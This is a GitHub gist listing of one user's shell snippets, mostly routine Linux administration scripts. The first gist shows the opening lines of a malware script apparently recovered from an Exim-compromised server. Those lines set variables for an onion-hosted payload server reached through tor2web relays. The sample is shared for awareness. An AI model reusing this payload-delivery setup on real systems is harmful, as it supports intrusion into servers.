Skip to content

Instantly share code, notes, and snippets.

View worldwise001's full-sized avatar
🌸

Sarah Harvey worldwise001

🌸
View GitHub Profile
@worldwise001
worldwise001 / compromised.sh
Created June 14, 2019 06:40
extracted from a box popped by exim rce
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
@worldwise001
worldwise001 / cert_renewal.sh
Created June 13, 2019 04:34
cert_renewal.sh (ArchLinux)
#!/bin/sh
systemctl stop nginx
certbot renew --authenticator standalone --agree-tos
systemctl start nginx
systemctl restart slapd
systemctl restart dovecot
systemctl restart exim
cat /etc/letsencrypt/live/x.shh.sh/chain.pem /etc/ssl/certs/DST_Root_CA_X3.pem > /srv/common/slapd.pem
shell -${SHELL}
caption always "%{= M} %{G}%H%{W} : %=%?%-w%? %{mW} %n %t%? {%u} %? %{dd} %?%+w%?%= : %{C}%d-%m %{W}%0c:%s "
startup_message off
@worldwise001
worldwise001 / .bashrc
Created June 13, 2019 04:24
my bashrc for mac os
#
# ~/.bashrc
#
# If not running interactively, don't do anything
#[[ $- != *i* ]] && return
### COLORS ###
export COLOR_NC='\e[0m' # No Color

Keybase proof

I hereby claim:

  • I am worldwise001 on github.
  • I am sharvey (https://keybase.io/sharvey) on keybase.
  • I have a public key ASDrwSAtXV1aXtdl26TamBTkAVgDgMgK-m1P9NmA-bB3Cgo

To claim this, I am signing this object:

@worldwise001
worldwise001 / PKGBUILD
Created September 21, 2014 00:01
irssi-colloquy_push PKGBUILD
pkgbasename=irssi
pkgext=colloquy_push
pkgname=${pkgbasename}-${pkgext}
pkgver=0.8.16
pkgrel=1
pkgdesc="Modular text mode IRC client with Perl scripting"
arch=('i686' 'x86_64' 'armv6h')
url="http://irssi.org/"
license=('GPL')
depends=('glib2' 'openssl')
@worldwise001
worldwise001 / autoupdate.sh
Last active June 13, 2019 04:32
autoupdate.sh (ArchLinux)
#!/bin/bash
timestamp=`date +%s`
logfile=/var/log/autoupdate/${timestamp}.log
hostname=`hostname`
pacupdate() {
yes | pacman -Scc
yes | pacman -Syu --ignore pacman,glibc,linux-lts,linux-lts-headers,linux,linux-headers,systemd,systemd-sysvcompat,libsystemd --noprogressbar &>> $logfile
yes | pacman -Scc
}
#!/bin/bash
slapcat > dump.ldif
for i in {structuralObjectClass,entryUUID,creatorsName,createTimestamp,entryCSN,modifiersName,modifyTimestamp}; do
sed "/^$i/ d" dump.ldif > dump.new.ldif
mv dump.new.ldif dump.ldif
done